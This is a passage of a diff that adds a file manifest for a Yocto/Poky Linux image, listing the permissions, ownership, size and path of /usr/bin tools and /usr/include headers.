+-rwxr-xr-x root root 653560 ./usr/bin/gawk
+-rwxr-xr-x root root 653560 ./usr/bin/gawk-5.0.1
+-rwxr-xr-x root root 26808 ./usr/bin/gencat
+-rwxr-xr-x root root 34912 ./usr/bin/getconf
+-rwxr-xr-x root root 35280 ./usr/bin/getent
+-rwxr-xr-x root root 31312 ./usr/bin/getfacl
+-rwxr-xr-x root root 23032 ./usr/bin/getfattr
+lrwxrwxrwx root root 28 ./usr/bin/ginsttest-runner -> gnome-desktop-testing-runner
+-rwxr-xr-x root root 4049 ./usr/bin/g-ir-annotation-tool
+-rwxr-xr-x root root 187384 ./usr/bin/g-ir-compiler
+-rwxr-xr-x root root 42968 ./usr/bin/g-ir-generate
+-rwxr-xr-x root root 14296 ./usr/bin/g-ir-inspect
+-rwxr-xr-x root root 4040 ./usr/bin/g-ir-scanner
+-rwxr-xr-x root root 35384 ./usr/bin/gnome-desktop-testing-runner
+-rwsr-xr-x root root 71624 ./usr/bin/gpasswd
+lrwxrwxrwx root root 32 ./usr/bin/gprof -> /usr/bin/x86_64-poky-linux-gprof
+-rwxr-xr-x root root 43176 ./usr/bin/groups.coreutils
+-rwxr-xr-x root root 14296 ./usr/bin/groups.shadow
+lrwxrwxrwx root root 22 ./usr/bin/groups -> /usr/bin/groups.shadow
+-rwxr-xr-x root root 22568 ./usr/bin/hardlink
+-rwxr-xr-x root root 55496 ./usr/bin/head.coreutils
+lrwxrwxrwx root root 23 ./usr/bin/head -> /usr/bin/head.coreutils
+lrwxrwxrwx root root 27 ./usr/bin/hexdump -> /usr/bin/hexdump.util-linux
+-rwxr-xr-x root root 55352 ./usr/bin/hexdump.util-linux
+-rwxr-xr-x root root 43176 ./usr/bin/hostid.coreutils
+lrwxrwxrwx root root 25 ./usr/bin/hostid -> /usr/bin/hostid.coreutils
+lrwxrwxrwx root root 7 ./usr/bin/i386 -> setarch
+-rwxr-xr-x root root 59608 ./usr/bin/iconv
+-rwxr-xr-x root root 55496 ./usr/bin/id.coreutils
+lrwxrwxrwx root root 21 ./usr/bin/id -> /usr/bin/id.coreutils
+-rwxr-xr-x root root 141560 ./usr/bin/install.coreutils
+lrwxrwxrwx root root 26 ./usr/bin/install -> /usr/bin/install.coreutils
+lrwxrwxrwx root root 26 ./usr/bin/ionice -> /usr/bin/ionice.util-linux
+-rwxr-xr-x root root 30768 ./usr/bin/ionice.util-linux
+-rwxr-xr-x root root 30824 ./usr/bin/ipcmk
+-rwxr-xr-x root root 34856 ./usr/bin/ipcrm
+-rwxr-xr-x root root 71720 ./usr/bin/ipcs
+lrwxrwxrwx root root 30 ./usr/bin/iptables-xml -> /usr/sbin/xtables-legacy-multi
+-rwxr-xr-x root root 30760 ./usr/bin/isosize
+-rwxr-xr-x root root 59592 ./usr/bin/join.coreutils
+lrwxrwxrwx root root 23 ./usr/bin/join -> /usr/bin/join.coreutils
+lrwxrwxrwx root root 19 ./usr/bin/killall -> /bin/busybox.nosuid
+lrwxrwxrwx root root 13 ./usr/bin/lastb.sysvinit -> last.sysvinit
+lrwxrwxrwx root root 23 ./usr/bin/lastb -> /usr/bin/lastb.sysvinit
+lrwxrwxrwx root root 15 ./usr/bin/lastb.util-linux -> last.util-linux
+-rwxr-xr-x root root 32032 ./usr/bin/lastlog
+-rwxr-xr-x root root 22512 ./usr/bin/last.sysvinit
+lrwxrwxrwx root root 22 ./usr/bin/last -> /usr/bin/last.sysvinit
+-rwxr-xr-x root root 47152 ./usr/bin/last.util-linux
+-rwxr-xr-x root root 63648 ./usr/bin/lbracket.coreutils
+lrwxrwxrwx root root 33 ./usr/bin/ld.bfd -> /usr/bin/x86_64-poky-linux-ld.bfd
+lrwxrwxrwx root root 34 ./usr/bin/ld.gold -> /usr/bin/x86_64-poky-linux-ld.gold
+lrwxrwxrwx root root 29 ./usr/bin/ld -> /usr/bin/x86_64-poky-linux-ld
+lrwxrwxrwx root root 19 ./usr/bin/less -> /bin/busybox.nosuid
+-rwxr-xr-x root root 173 ./usr/bin/libpng16-config
+lrwxrwxrwx root root 15 ./usr/bin/libpng-config -> libpng16-config
+-rwxr-xr-x root root 43176 ./usr/bin/link.coreutils
+lrwxrwxrwx root root 23 ./usr/bin/link -> /usr/bin/link.coreutils
+lrwxrwxrwx root root 7 ./usr/bin/linux32 -> setarch
+lrwxrwxrwx root root 7 ./usr/bin/linux64 -> setarch
+-rwxr-xr-x root root 54648 ./usr/bin/locale
+-rwxr-xr-x root root 170408 ./usr/bin/locate
+lrwxrwxrwx root root 26 ./usr/bin/logger -> /usr/bin/logger.util-linux
+-rwxr-xr-x root root 47760 ./usr/bin/logger.util-linux
+-rwxr-xr-x root root 43176 ./usr/bin/logname.coreutils
+lrwxrwxrwx root root 26 ./usr/bin/logname -> /usr/bin/logname.coreutils
+-rwxr-xr-x root root 14368 ./usr/bin/look
+-rwxr-xr-x root root 14296 ./usr/bin/lsattr
+-rwxr-xr-x root root 145448 ./usr/bin/lsblk
+-rwxr-xr-x root root 100392 ./usr/bin/lscpu
+-rwxr-xr-x root root 92200 ./usr/bin/lsipc
+-rwxr-xr-x root root 39288 ./usr/bin/lslocks
+-rwxr-xr-x root root 67624 ./usr/bin/lslogins
+-rwxr-xr-x root root 67624 ./usr/bin/lsmem
+-rwxr-xr-x root root 51240 ./usr/bin/lsns
+lrwxrwxrwx root root 17 ./usr/bin/lzcat -> /usr/bin/lzcat.xz
+lrwxrwxrwx root root 5 ./usr/bin/lzcat.xz -> xz.xz
+lrwxrwxrwx root root 6 ./usr/bin/lzcmp -> xzdiff
+lrwxrwxrwx root root 6 ./usr/bin/lzdiff -> xzdiff
+lrwxrwxrwx root root 6 ./usr/bin/lzegrep -> xzgrep
+lrwxrwxrwx root root 6 ./usr/bin/lzfgrep -> xzgrep
+lrwxrwxrwx root root 6 ./usr/bin/lzgrep -> xzgrep
+lrwxrwxrwx root root 6 ./usr/bin/lzless -> xzless
+-rwxr-xr-x root root 14376 ./usr/bin/lzmadec
+-rwxr-xr-x root root 14376 ./usr/bin/lzmainfo
+lrwxrwxrwx root root 16 ./usr/bin/lzma -> /usr/bin/lzma.xz
+lrwxrwxrwx root root 5 ./usr/bin/lzma.xz -> xz.xz
+lrwxrwxrwx root root 6 ./usr/bin/lzmore -> xzmore
+-rwxr-xr-x root root 243992 ./usr/bin/m4
+-rwxr-xr-x root root 243208 ./usr/bin/make
+-rwxr-xr-x root root 22712 ./usr/bin/makedb
+-rwxr-xr-x root root 34920 ./usr/bin/mcookie
+-rwxr-xr-x root root 55496 ./usr/bin/md5sum.coreutils
+lrwxrwxrwx root root 25 ./usr/bin/md5sum -> /usr/bin/md5sum.coreutils
+-rwxr-xr-x root root 14304 ./usr/bin/mesg.sysvinit
+lrwxrwxrwx root root 22 ./usr/bin/mesg -> /usr/bin/mesg.sysvinit
+-rwxr-xr-x root root 14376 ./usr/bin/mesg.util-linux
+lrwxrwxrwx root root 19 ./usr/bin/microcom -> /bin/busybox.nosuid
+-rwxr-xr-x root root 1102 ./usr/bin/mk_cmds
+-rwxr-xr-x root root 47272 ./usr/bin/mkfifo.coreutils
+lrwxrwxrwx root root 25 ./usr/bin/mkfifo -> /usr/bin/mkfifo.coreutils
+-rwxr-xr-x root root 519360 ./usr/bin/mkfs.btrfs
+-rwxr-xr-x root root 55464 ./usr/bin/mktemp.coreutils
+-rwxr-xr-x root root 34856 ./usr/bin/namei
+lrwxrwxrwx root root 19 ./usr/bin/nc -> /bin/busybox.nosuid
+-rwxr-xr-x root root 173 ./usr/bin/ncurses5-config
+-rwxr-xr-x root root 173 ./usr/bin/ncurses6-config
+-rwxr-xr-x root root 175 ./usr/bin/ncursesw5-config
+-rwxr-xr-x root root 175 ./usr/bin/ncursesw6-config
+-rwsr-xr-x root root 41136 ./usr/bin/newgidmap
+-rwsr-xr-x root root 40312 ./usr/bin/newgrp.shadow
+lrwxrwxrwx root root 22 ./usr/bin/newgrp -> /usr/bin/newgrp.shadow
+-rwsr-xr-x root root 37040 ./usr/bin/newuidmap
+-rwxr-xr-x root root 47272 ./usr/bin/nice.coreutils
+-rwxr-xr-x root root 117000 ./usr/bin/nl.coreutils
+lrwxrwxrwx root root 21 ./usr/bin/nl -> /usr/bin/nl.coreutils
+lrwxrwxrwx root root 29 ./usr/bin/nm -> /usr/bin/x86_64-poky-linux-nm
+-rwxr-xr-x root root 47272 ./usr/bin/nohup.coreutils
+lrwxrwxrwx root root 24 ./usr/bin/nohup -> /usr/bin/nohup.coreutils
+-rwxr-xr-x root root 47272 ./usr/bin/nproc.coreutils
+lrwxrwxrwx root root 24 ./usr/bin/nproc -> /usr/bin/nproc.coreutils
+lrwxrwxrwx root root 27 ./usr/bin/nsenter -> /usr/bin/nsenter.util-linux
+-rwxr-xr-x root root 35072 ./usr/bin/nsenter.util-linux
+lrwxrwxrwx root root 19 ./usr/bin/nslookup -> /bin/busybox.nosuid
+-rwxr-xr-x root root 71904 ./usr/bin/numfmt
+lrwxrwxrwx root root 34 ./usr/bin/objcopy -> /usr/bin/x86_64-poky-linux-objcopy
+lrwxrwxrwx root root 34 ./usr/bin/objdump -> /usr/bin/x86_64-poky-linux-objdump
+-rwxr-xr-x root root 80072 ./usr/bin/od.coreutils
+lrwxrwxrwx root root 21 ./usr/bin/od -> /usr/bin/od.coreutils
+-rwxr-xr-x root root 736944 ./usr/bin/openssl
+lrwxrwxrwx root root 19 ./usr/bin/openvt -> /bin/busybox.nosuid
+-rwsr-xr-x root root 67760 ./usr/bin/passwd.shadow
+lrwxrwxrwx root root 22 ./usr/bin/passwd -> /usr/bin/passwd.shadow
+-rwxr-xr-x root root 47304 ./usr/bin/paste.coreutils
+lrwxrwxrwx root root 24 ./usr/bin/paste -> /usr/bin/paste.coreutils
+lrwxrwxrwx root root 19 ./usr/bin/patch -> /bin/busybox.nosuid
+-rwxr-xr-x root root 43176 ./usr/bin/pathchk.coreutils
+lrwxrwxrwx root root 26 ./usr/bin/pathchk -> /usr/bin/pathchk.coreutils
+-rwxr-xr-x root root 14520 ./usr/bin/pcprofiledump
+-rwxr-xr-x root root 165 ./usr/bin/pcre-config
+-rwxr-xr-x root root 14288 ./usr/bin/perl
+-rwxr-xr-x root root 30776 ./usr/bin/pgrep.procps
+lrwxrwxrwx root root 21 ./usr/bin/pgrep -> /usr/bin/pgrep.procps
+-rwxr-xr-x root root 47304 ./usr/bin/pinky.coreutils
+lrwxrwxrwx root root 24 ./usr/bin/pinky -> /usr/bin/pinky.coreutils
+-rwxr-xr-x root root 30776 ./usr/bin/pkill.procps
+lrwxrwxrwx root root 21 ./usr/bin/pkill -> /usr/bin/pkill.procps
+-rwxr-xr-x root root 22712 ./usr/bin/pldd
+-rwxr-xr-x root root 34872 ./usr/bin/pmap.procps
+lrwxrwxrwx root root 20 ./usr/bin/pmap -> /usr/bin/pmap.procps
+-rwxr-xr-x root root 84232 ./usr/bin/pr.coreutils
+-rwxr-xr-x root root 43176 ./usr/bin/printenv.coreutils
+-rwxr-xr-x root root 63648 ./usr/bin/printf.coreutils
+lrwxrwxrwx root root 25 ./usr/bin/printf -> /usr/bin/printf.coreutils
+-rwxr-xr-x root root 39480 ./usr/bin/prlimit
+-rwxr-xr-x root root 80288 ./usr/bin/procan
+lrwxrwxrwx root root 21 ./usr/bin/pr -> /usr/bin/pr.coreutils
+-rwxr-xr-x root root 145640 ./usr/bin/ptx.coreutils
+lrwxrwxrwx root root 22 ./usr/bin/ptx -> /usr/bin/ptx.coreutils
+-rwxr-xr-x root root 14376 ./usr/bin/pwdx.procps
+lrwxrwxrwx root root 20 ./usr/bin/pwdx -> /usr/bin/pwdx.procps
+-rwxr-xr-x root root 14296 ./usr/bin/python3.8
+-rwxr-xr-x root root 2114 ./usr/bin/python3.8-config-lib
+lrwxrwxrwx root root 29 ./usr/bin/python3.8-config -> /usr/bin/python3.8-config-lib
+lrwxrwxrwx root root 16 ./usr/bin/python3-config -> python3.8-config
+lrwxrwxrwx root root 9 ./usr/bin/python3 -> python3.8
+lrwxrwxrwx root root 33 ./usr/bin/ranlib -> /usr/bin/x86_64-poky-linux-ranlib
+-rwxr-xr-x root root 14296 ./usr/bin/readbootlog
+lrwxrwxrwx root root 34 ./usr/bin/readelf -> /usr/bin/x86_64-poky-linux-readelf
+-rwxr-xr-x root root 55464 ./usr/bin/readlink.coreutils
+lrwxrwxrwx root root 27 ./usr/bin/readlink -> /usr/bin/readlink.coreutils
+-rwxr-xr-x root root 55496 ./usr/bin/realpath.coreutils
+lrwxrwxrwx root root 27 ./usr/bin/realpath -> /usr/bin/realpath.coreutils
+-rwxr-xr-x root root 22560 ./usr/bin/rename
+lrwxrwxrwx root root 26 ./usr/bin/renice -> /usr/bin/renice.util-linux
+-rwxr-xr-x root root 14384 ./usr/bin/renice.util-linux
+lrwxrwxrwx root root 19 ./usr/bin/reset -> /bin/busybox.nosuid
+lrwxrwxrwx root root 19 ./usr/bin/resize -> /bin/busybox.nosuid
+lrwxrwxrwx root root 23 ./usr/bin/rev -> /usr/bin/rev.util-linux
+-rwxr-xr-x root root 14376 ./usr/bin/rev.util-linux
+-rwxr-xr-x root root 43176 ./usr/bin/runcon.coreutils
+lrwxrwxrwx root root 25 ./usr/bin/runcon -> /usr/bin/runcon.coreutils
+-rwxr-xr-x root root 67624 ./usr/bin/script
+-rwxr-xr-x root root 55336 ./usr/bin/scriptlive
+-rwxr-xr-x root root 43056 ./usr/bin/scriptreplay
+-rwxr-xr-x root root 51264 ./usr/bin/sdiff
+-rwxr-xr-x root root 63656 ./usr/bin/seq.coreutils
+lrwxrwxrwx root root 22 ./usr/bin/seq -> /usr/bin/seq.coreutils
+-rwxr-xr-x root root 26936 ./usr/bin/setarch
+-rwxr-xr-x root root 39568 ./usr/bin/setfacl
+-rwxr-xr-x root root 18696 ./usr/bin/setfattr.attr
+lrwxrwxrwx root root 22 ./usr/bin/setfattr -> /usr/bin/setfattr.attr
+lrwxrwxrwx root root 27 ./usr/bin/setpriv -> /usr/bin/setpriv.util-linux
+-rwxr-xr-x root root 47160 ./usr/bin/setpriv.util-linux
+lrwxrwxrwx root root 26 ./usr/bin/setsid -> /usr/bin/setsid.util-linux
+-rwxr-xr-x root root 14384 ./usr/bin/setsid.util-linux
+-rwxr-xr-x root root 47144 ./usr/bin/setterm
+lrwxrwxrwx root root 13 ./usr/bin/sg -> newgrp.shadow
+-rwxr-xr-x root root 59592 ./usr/bin/sha1sum.coreutils
+lrwxrwxrwx root root 26 ./usr/bin/sha1sum -> /usr/bin/sha1sum.coreutils
+-rwxr-xr-x root root 67784 ./usr/bin/sha224sum.coreutils
+lrwxrwxrwx root root 28 ./usr/bin/sha224sum -> /usr/bin/sha224sum.coreutils
+-rwxr-xr-x root root 67784 ./usr/bin/sha256sum.coreutils
+lrwxrwxrwx root root 28 ./usr/bin/sha256sum -> /usr/bin/sha256sum.coreutils
+-rwxr-xr-x root root 71880 ./usr/bin/sha384sum.coreutils
+lrwxrwxrwx root root 28 ./usr/bin/sha384sum -> /usr/bin/sha384sum.coreutils
+-rwxr-xr-x root root 71880 ./usr/bin/sha512sum.coreutils
+lrwxrwxrwx root root 28 ./usr/bin/sha512sum -> /usr/bin/sha512sum.coreutils
+-rwxr-xr-x root root 67784 ./usr/bin/shred.coreutils
+lrwxrwxrwx root root 24 ./usr/bin/shred -> /usr/bin/shred.coreutils
+-rwxr-xr-x root root 63656 ./usr/bin/shuf.coreutils
+lrwxrwxrwx root root 23 ./usr/bin/shuf -> /usr/bin/shuf.coreutils
+lrwxrwxrwx root root 31 ./usr/bin/size -> /usr/bin/x86_64-poky-linux-size
+-rwxr-xr-x root root 30768 ./usr/bin/skill.procps
+lrwxrwxrwx root root 21 ./usr/bin/skill -> /usr/bin/skill.procps
+-rwxr-xr-x root root 22568 ./usr/bin/slabtop
+-rwxr-xr-x root root 30768 ./usr/bin/snice.procps
+lrwxrwxrwx root root 21 ./usr/bin/snice -> /usr/bin/snice.procps
+-rwxr-xr-x root root 380104 ./usr/bin/socat
+-rwxr-xr-x root root 117200 ./usr/bin/sort.coreutils
+lrwxrwxrwx root root 23 ./usr/bin/sort -> /usr/bin/sort.coreutils
+-rwxr-xr-x root root 64128 ./usr/bin/split.coreutils
+lrwxrwxrwx root root 24 ./usr/bin/split -> /usr/bin/split.coreutils
+-rwxr-xr-x root root 30896 ./usr/bin/sprof
+-rwxr-xr-x root root 63648 ./usr/bin/stdbuf
+lrwxrwxrwx root root 34 ./usr/bin/strings -> /usr/bin/x86_64-poky-linux-strings
+lrwxrwxrwx root root 32 ./usr/bin/strip -> /usr/bin/x86_64-poky-linux-strip
+-rwxr-xr-x root root 51376 ./usr/bin/sum.coreutils
+lrwxrwxrwx root root 22 ./usr/bin/sum -> /usr/bin/sum.coreutils
+-rwxr-xr-x root root 112808 ./usr/bin/tac.coreutils
+lrwxrwxrwx root root 22 ./usr/bin/tac -> /usr/bin/tac.coreutils
+-rwxr-xr-x root root 80104 ./usr/bin/tail.coreutils
+lrwxrwxrwx root root 23 ./usr/bin/tail -> /usr/bin/tail.coreutils
+lrwxrwxrwx root root 27 ./usr/bin/taskset -> /usr/bin/taskset.util-linux
+-rwxr-xr-x root root 34864 ./usr/bin/taskset.util-linux
+-rwxr-xr-x root root 47304 ./usr/bin/tee.coreutils
+lrwxrwxrwx root root 22 ./usr/bin/tee -> /usr/bin/tee.coreutils
+lrwxrwxrwx root root 19 ./usr/bin/telnet -> /bin/busybox.nosuid
+-rwxr-xr-x root root 59544 ./usr/bin/test.coreutils
+lrwxrwxrwx root root 23 ./usr/bin/test -> /usr/bin/test.coreutils
+lrwxrwxrwx root root 19 ./usr/bin/tftp -> /bin/busybox.nosuid
+lrwxrwxrwx root root 19 ./usr/bin/time -> /bin/busybox.nosuid
+-rwxr-xr-x root root 51840 ./usr/bin/timeout.coreutils
+lrwxrwxrwx root root 26 ./usr/bin/timeout -> /usr/bin/timeout.coreutils
+-rwxr-xr-x root root 22576 ./usr/bin/tload
+-rwxr-xr-x root root 124784 ./usr/bin/top.procps
+lrwxrwxrwx root root 19 ./usr/bin/top -> /usr/bin/top.procps
+-rwxr-xr-x root root 22512 ./usr/bin/tput
+lrwxrwxrwx root root 17 ./usr/bin/traceroute -> /bin/busybox.suid
+-rwxr-xr-x root root 55464 ./usr/bin/tr.coreutils
+-rwxr-xr-x root root 47272 ./usr/bin/truncate.coreutils
+lrwxrwxrwx root root 27 ./usr/bin/truncate -> /usr/bin/truncate.coreutils
+lrwxrwxrwx root root 21 ./usr/bin/tr -> /usr/bin/tr.coreutils
+lrwxrwxrwx root root 19 ./usr/bin/ts -> /bin/busybox.nosuid
+-rwxr-xr-x root root 30680 ./usr/bin/tset
+-rwxr-xr-x root root 59560 ./usr/bin/tsort.coreutils
+lrwxrwxrwx root root 24 ./usr/bin/tsort -> /usr/bin/tsort.coreutils
+-rwxr-xr-x root root 43176 ./usr/bin/tty.coreutils
+lrwxrwxrwx root root 22 ./usr/bin/tty -> /usr/bin/tty.coreutils
+-rwxr-xr-x root root 354584 ./usr/bin/udevadm
+-rwxr-xr-x root root 22560 ./usr/bin/ul
+lrwxrwxrwx root root 7 ./usr/bin/uname26 -> setarch
+-rwxr-xr-x root root 47304 ./usr/bin/unexpand.coreutils
+lrwxrwxrwx root root 27 ./usr/bin/unexpand -> /usr/bin/unexpand.coreutils
+-rwxr-xr-x root root 55496 ./usr/bin/uniq.coreutils
+lrwxrwxrwx root root 23 ./usr/bin/uniq -> /usr/bin/uniq.coreutils
+-rwxr-xr-x root root 43176 ./usr/bin/unlink.coreutils
+lrwxrwxrwx root root 25 ./usr/bin/unlink -> /usr/bin/unlink.coreutils
+lrwxrwxrwx root root 18 ./usr/bin/unlzma -> /usr/bin/unlzma.xz
+lrwxrwxrwx root root 5 ./usr/bin/unlzma.xz -> xz.xz
+lrwxrwxrwx root root 27 ./usr/bin/unshare -> /usr/bin/unshare.util-linux
+-rwxr-xr-x root root 39176 ./usr/bin/unshare.util-linux
+lrwxrwxrwx root root 16 ./usr/bin/unxz -> /usr/bin/unxz.xz
+lrwxrwxrwx root root 5 ./usr/bin/unxz.xz -> xz.xz
+-rwxr-xr-x root root 88152 ./usr/bin/unzipsfx
+-rwxr-xr-x root root 186472 ./usr/bin/unzip.unzip
+lrwxrwxrwx root root 20 ./usr/bin/unzip -> /usr/bin/unzip.unzip
+-rwxr-xr-x root root 4678 ./usr/bin/update-alternatives
+-rwxr-xr-x root root 9076 ./usr/bin/updatedb
+-rwxr-xr-x root root 59584 ./usr/bin/update-mime-database
+-rwxr-xr-x root root 59560 ./usr/bin/uptime.coreutils
+-rwxr-xr-x root root 14376 ./usr/bin/uptime.procps
+lrwxrwxrwx root root 22 ./usr/bin/uptime -> /usr/bin/uptime.procps
+-rwxr-xr-x root root 43176 ./usr/bin/users.coreutils
+lrwxrwxrwx root root 24 ./usr/bin/users -> /usr/bin/users.coreutils
+lrwxrwxrwx root root 27 ./usr/bin/[ -> /usr/bin/lbracket.coreutils
+-rwxr-xr-x root root 18400 ./usr/bin/utmpdump.sysvinit
+lrwxrwxrwx root root 26 ./usr/bin/utmpdump -> /usr/bin/utmpdump.sysvinit
+-rwxr-xr-x root root 30768 ./usr/bin/utmpdump.util-linux
+-rwxr-xr-x root root 14368 ./usr/bin/uuidgen
+-rwxr-xr-x root root 38952 ./usr/bin/uuidparse
+-rwxr-xr-x root root 162448 ./usr/bin/vdir.coreutils
+lrwxrwxrwx root root 23 ./usr/bin/vdir -> /usr/bin/vdir.coreutils
+lrwxrwxrwx root root 17 ./usr/bin/vlock -> /bin/busybox.suid
+-rwxr-xr-x root root 38968 ./usr/bin/vmstat
+-rwxr-xr-x root root 18392 ./usr/bin/wall.sysvinit
+lrwxrwxrwx root root 22 ./usr/bin/wall -> /usr/bin/wall.sysvinit
+-rwxr-xr-x root root 34864 ./usr/bin/wall.util-linux
+-rwxr-xr-x root root 51248 ./usr/bin/wayland-scanner
+-rwxr-xr-x root root 55472 ./usr/bin/wc.coreutils
+lrwxrwxrwx root root 21 ./usr/bin/wc -> /usr/bin/wc.coreutils
+-rwxr-xr-x root root 63552 ./usr/bin/wdctl
+lrwxrwxrwx root root 19 ./usr/bin/wget -> /bin/busybox.nosuid
+-rwxr-xr-x root root 31176 ./usr/bin/whereis
+lrwxrwxrwx root root 20 ./usr/bin/which -> /usr/bin/which.which
+-rwxr-xr-x root root 31280 ./usr/bin/which.which
+-rwxr-xr-x root root 43176 ./usr/bin/whoami.coreutils
+lrwxrwxrwx root root 25 ./usr/bin/whoami -> /usr/bin/whoami.coreutils
+-rwxr-xr-x root root 63688 ./usr/bin/who.coreutils
+lrwxrwxrwx root root 22 ./usr/bin/who -> /usr/bin/who.coreutils
+-rwxr-xr-x root root 22568 ./usr/bin/w.procps
+-rwxr-xr-x root root 22560 ./usr/bin/write
+lrwxrwxrwx root root 17 ./usr/bin/w -> /usr/bin/w.procps
+-rwxr-xr-x root root 31304 ./usr/bin/x86_64-poky-linux-addr2line
+-rwxr-xr-x root root 63784 ./usr/bin/x86_64-poky-linux-ar
+-rwxr-xr-x root root 737584 ./usr/bin/x86_64-poky-linux-as
+-rwxr-xr-x root root 30776 ./usr/bin/x86_64-poky-linux-c++filt
+-rwxr-xr-x root root 2058648 ./usr/bin/x86_64-poky-linux-dwp
+-rwxr-xr-x root root 39320 ./usr/bin/x86_64-poky-linux-elfedit
+-rwxr-xr-x root root 102056 ./usr/bin/x86_64-poky-linux-gprof
+-rwxr-xr-x root root 1711488 ./usr/bin/x86_64-poky-linux-ld
+-rwxr-xr-x root root 1711488 ./usr/bin/x86_64-poky-linux-ld.bfd
+-rwxr-xr-x root root 2316464 ./usr/bin/x86_64-poky-linux-ld.gold
+-rwxr-xr-x root root 48344 ./usr/bin/x86_64-poky-linux-nm
+-rwxr-xr-x root root 190736 ./usr/bin/x86_64-poky-linux-objcopy
+-rwxr-xr-x root root 512664 ./usr/bin/x86_64-poky-linux-objdump
+-rwxr-xr-x root root 63824 ./usr/bin/x86_64-poky-linux-ranlib
+-rwxr-xr-x root root 670432 ./usr/bin/x86_64-poky-linux-readelf
+-rwxr-xr-x root root 35136 ./usr/bin/x86_64-poky-linux-size
+-rwxr-xr-x root root 31176 ./usr/bin/x86_64-poky-linux-strings
+-rwxr-xr-x root root 190736 ./usr/bin/x86_64-poky-linux-strip
+lrwxrwxrwx root root 7 ./usr/bin/x86_64 -> setarch
+-rwxr-xr-x root root 75976 ./usr/bin/xargs.findutils
+lrwxrwxrwx root root 24 ./usr/bin/xargs -> /usr/bin/xargs.findutils
+-rwxr-xr-x root root 16982 ./usr/bin/xkeystone
+-rwxr-xr-x root root 165 ./usr/bin/xml2-config
+-rwxr-xr-x root root 63544 ./usr/bin/xrandr
+lrwxrwxrwx root root 17 ./usr/bin/xzcat -> /usr/bin/xzcat.xz
+lrwxrwxrwx root root 5 ./usr/bin/xzcat.xz -> xz.xz
+lrwxrwxrwx root root 6 ./usr/bin/xzcmp -> xzdiff
+-rwxr-xr-x root root 14376 ./usr/bin/xzdec
+-rwxr-xr-x root root 6633 ./usr/bin/xzdiff
+lrwxrwxrwx root root 6 ./usr/bin/xzegrep -> xzgrep
+lrwxrwxrwx root root 6 ./usr/bin/xzfgrep -> xzgrep
+-rwxr-xr-x root root 5630 ./usr/bin/xzgrep
+-rwxr-xr-x root root 1799 ./usr/bin/xzless
+-rwxr-xr-x root root 2162 ./usr/bin/xzmore
+lrwxrwxrwx root root 14 ./usr/bin/xz -> /usr/bin/xz.xz
+-rwxr-xr-x root root 80184 ./usr/bin/xz.xz
+-rwxr-xr-x root root 4184 ./usr/bin/yacc
+-rwxr-xr-x root root 43176 ./usr/bin/yes.coreutils
+lrwxrwxrwx root root 22 ./usr/bin/yes -> /usr/bin/yes.coreutils
+-rwxr-xr-x root root 212088 ./usr/bin/zip
+-rwxr-xr-x root root 97872 ./usr/bin/zipcloak
+-rwxr-xr-x root root 2953 ./usr/bin/zipgrep
+-rwxr-xr-x root root 186472 ./usr/bin/zipinfo
+-rwxr-xr-x root root 89448 ./usr/bin/zipnote
+-rwxr-xr-x root root 89456 ./usr/bin/zipsplit
+drwxr-xr-x root root 4096 ./usr/games
+drwxr-xr-x root root 12288 ./usr/include
+drwxr-xr-x root root 4096 ./usr/include/acl
+-rw-r--r-- root root 2611 ./usr/include/acl/libacl.h
+-rw-r--r-- root root 7457 ./usr/include/aio.h
+-rw-r--r-- root root 2032 ./usr/include/aliases.h
+-rw-r--r-- root root 1204 ./usr/include/alloca.h
+-rw-r--r-- root root 14130 ./usr/include/ansidecl.h
+-rw-r--r-- root root 4351 ./usr/include/a.out.h
+-rw-r--r-- root root 25473 ./usr/include/argp.h
+-rw-r--r-- root root 6051 ./usr/include/argz.h
+-rw-r--r-- root root 1731 ./usr/include/ar.h
+drwxr-xr-x root root 4096 ./usr/include/arpa
+-rw-r--r-- root root 3432 ./usr/include/arpa/ftp.h
+-rw-r--r-- root root 4277 ./usr/include/arpa/inet.h
+-rw-r--r-- root root 7041 ./usr/include/arpa/nameser_compat.h
+-rw-r--r-- root root 14195 ./usr/include/arpa/nameser.h
+-rw-r--r-- root root 10263 ./usr/include/arpa/telnet.h
+-rw-r--r-- root root 3051 ./usr/include/arpa/tftp.h
+drwxr-xr-x root root 4096 ./usr/include/asm
+-rw-r--r-- root root 756 ./usr/include/asm/a.out.h
+-rw-r--r-- root root 546 ./usr/include/asm/auxvec.h
+-rw-r--r-- root root 321 ./usr/include/asm/bitsperlong.h
+-rw-r--r-- root root 323 ./usr/include/asm/boot.h
+-rw-r--r-- root root 7757 ./usr/include/asm/bootparam.h
+-rw-r--r-- root root 40 ./usr/include/asm/bpf_perf_event.h
+-rw-r--r-- root root 200 ./usr/include/asm/byteorder.h
+-rw-r--r-- root root 3285 ./usr/include/asm/debugreg.h
+-rw-r--r-- root root 2579 ./usr/include/asm/e820.h
+-rw-r--r-- root root 31 ./usr/include/asm/errno.h
+-rw-r--r-- root root 31 ./usr/include/asm/fcntl.h
+drwxr-xr-x root root 4096 ./usr/include/asm-generic
+-rw-r--r-- root root 218 ./usr/include/asm-generic/auxvec.h
+-rw-r--r-- root root 564 ./usr/include/asm-generic/bitsperlong.h
+-rw-r--r-- root root 238 ./usr/include/asm-generic/bpf_perf_event.h
+-rw-r--r-- root root 1612 ./usr/include/asm-generic/errno-base.h
+-rw-r--r-- root root 5648 ./usr/include/asm-generic/errno.h
+-rw-r--r-- root root 5423 ./usr/include/asm-generic/fcntl.h
+-rw-r--r-- root root 1740 ./usr/include/asm-generic/hugetlb_encode.h
+-rw-r--r-- root root 718 ./usr/include/asm-generic/int-l64.h
+-rw-r--r-- root root 864 ./usr/include/asm-generic/int-ll64.h
+-rw-r--r-- root root 3478 ./usr/include/asm-generic/ioctl.h
+-rw-r--r-- root root 3987 ./usr/include/asm-generic/ioctls.h
+-rw-r--r-- root root 1003 ./usr/include/asm-generic/ipcbuf.h
+-rw-r--r-- root root 96 ./usr/include/asm-generic/kvm_para.h
+-rw-r--r-- root root 3417 ./usr/include/asm-generic/mman-common.h
+-rw-r--r-- root root 740 ./usr/include/asm-generic/mman.h
+-rw-r--r-- root root 1618 ./usr/include/asm-generic/msgbuf.h
+-rw-r--r-- root root 353 ./usr/include/asm-generic/param.h
+-rw-r--r-- root root 878 ./usr/include/asm-generic/poll.h
+-rw-r--r-- root root 2331 ./usr/include/asm-generic/posix_types.h
+-rw-r--r-- root root 1872 ./usr/include/asm-generic/resource.h
+-rw-r--r-- root root 1550 ./usr/include/asm-generic/sembuf.h
+-rw-r--r-- root root 190 ./usr/include/asm-generic/setup.h
+-rw-r--r-- root root 1837 ./usr/include/asm-generic/shmbuf.h
